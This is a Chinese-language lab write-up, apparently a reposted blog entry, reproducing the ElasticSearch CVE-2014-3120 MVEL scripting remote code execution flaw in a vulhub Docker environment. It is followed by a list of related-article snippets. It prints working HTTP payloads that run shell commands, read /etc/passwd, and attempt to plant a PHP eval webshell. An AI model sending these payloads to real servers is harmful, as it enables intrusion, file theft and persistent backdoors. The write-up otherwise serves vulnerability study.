CVE-2014-3120 ElasticSearch 命令执行漏洞

news/2025/2/12 13:27:05/

漏洞简介

ElasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。支持通过HTTP使用JSON进行数据索引。
ElasticSearch有脚本执行的功能,使用的引擎为MVEL,该引擎没有做任何的防护,或者沙盒包装,所以可以直接执行任意代码。
由于在ElasticSearch的默认配置下,动态脚本执行功能处于打开状态,导致用户可以构造恶意的请求包,执行任意代码。

漏洞复现

通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码(如下图所示,ElasticSearch版本为1.1.1)

启动docker环境

cd vulhub/elasticsearch/CVE-2014-3120/
docker-compose up

在这里插入图片描述访问http://127.0.0.1:9200/会出现Elasticsearch的信息
在这里插入图片描述
对其抓包进行post并创建一条数据

POST /website/blog/  HTTP/1.1
Host: 127.0.0.1:9200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 30{"name": "guiltyfet"
}

返回201状态码,代表创建成功
在这里插入图片描述利用该漏洞的payload如下

POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 368
{"size": 1,"query": {"filtered": {"query": {"match_all": {}}}},"script_fields": {"command": {"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"}}
}}
}

其中JAVA等价于:

String s1 = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).useDelimiter("\\A").next();
//A means "start of string", and \z means "end of string".
String s2  = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).next();
System.out.println(s1);在这里插入图片描述

在这里插入图片描述
既能执行任意代码,也能读取文件:

POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 343
{"size": 1,"query": {"filtered": {"query": {"match_all": {}}}},"script_fields": {"command": {"script": "import java.io.*;new java.util.Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\A\").next();"}}
}}
}

在这里插入图片描述
利用webshell失败

{"size": 1,"query": {"filtered": {"query": {"match_all": {}}}},"script_fields": {"command": {"script": "import java.util.*;import java.io.*;PrintWriter writer = new PrintWriter(new BufferedWriter(new FileWriter(\"/var/www/html/mitian.php\", true)));writer.println(\"<?php @eval($_POST['kjsx']);?>\");writer.close();"}}
}}
}

在这里插入图片描述


http://www.ppmy.cn/news/405486.html

相关文章

CVE漏洞复现-CVE-2014-3120-ElasticSearch 命令执行漏洞

CVE-2014-3120-ElasticSearch 命令执行漏洞 漏洞影响 jre版本&#xff1a;openjdk:8-jreelasticsearch版本&#xff1a;v1.1.1 漏洞原理 老版本ElasticSearch支持传入动态脚本&#xff08;MVEL&#xff09;来执行一些复杂的操作&#xff0c;而MVEL可执行Java代码&#xff0…

ElasticSearch 命令执行漏洞(CVE-2014-3120)

前言 本文内容仅为技术科普&#xff0c;请勿用于非法用途&#xff01; 原理 这个漏洞实际上非常简单&#xff0c;ElasticSearch有脚本执行(scripting)的功能&#xff0c;可以很方便地对查询出来的数据再加工处理。ElasticSearch用的脚本引擎是MVEL&#xff0c;这个引擎没有做…

【vulhub】ElasticSearch 命令执行漏洞(CVE-2014-3120)漏洞验证与getshell

漏洞详情 老版本ElasticSearch支持传入动态脚本&#xff08;MVEL&#xff09;来执行一些复杂的操作&#xff0c;而MVEL可执行Java代码&#xff0c;而且没有沙盒&#xff0c;所以我们可以直接执行任意代码。elasticsearch版本&#xff1a;v1.1.1 详细过程请看 CVE-2014-3120 …

ElasticSearch漏洞复现

目录 ElasticSearch简介ElasticSearch _search API概述 ElasticSearch 漏洞复现ElasticSearch CVE-2014-3120复现ElasticSearch CVE-2015-1427复现 ElasticSearch简介 Elasticsearch&#xff08;以下简称ES&#xff09;是目前全文搜索引擎的首选。它是一个基于 Lucene 的搜索服…

3120祭

那天突然你没有电了&#xff0c;回到家我急匆匆地找了另为一块电池给你换上&#xff0c;可是可是换了电池的你竟然无法开机&#xff0c;于是以为电池没有放好&#xff0c;反复试了n变才很不情愿地相信是你坏了。你知道我当时的感觉吗&#xff0c;简直是灭顶之灾的说&#xff0c…

C语言跨年烟花代码,C语言实现烟花表白代码

现在大家是不是都觉得程序员不懂浪漫&#xff1f;那真的大错特错&#xff0c;今天就让你们看看什么是程序员的浪漫&#xff01; 我们今天就来写写《烟花》表白程序&#xff0c;不要惊讶&#xff0c;不要激动&#xff0c;学会了快去拿给心中的那个人看&#xff01;&#xff01;&…

密码学RSA计算求密钥d

在RSA密码体制中&#xff0c;取 p61,q53,e17 请找出密钥d。 解&#xff1a;φ&#xff08;n&#xff09;&#xff08;p-1&#xff09;&#xff08;q-1&#xff09;60*523120 ed mod&#xff08;φ&#xff08;n&#xff09;&#xff09; 1 17d mod&#xff08;3120&#xff09;…

IR2130与MOSFET驱动电路分析

1.IR2130与MOS管总体驱动框图 2.IR2130芯片简单介绍 是一款很老的片子。 IR公司推出的IR21xx系列集成芯片是MOS、IGBT功率器件专用栅极驱动芯片&#xff0c;通过自举电路工作原理&#xff0c;使其既能驱动桥式电路中低压侧的功率器件&#xff0c;又能驱动高压侧的功率元件&am…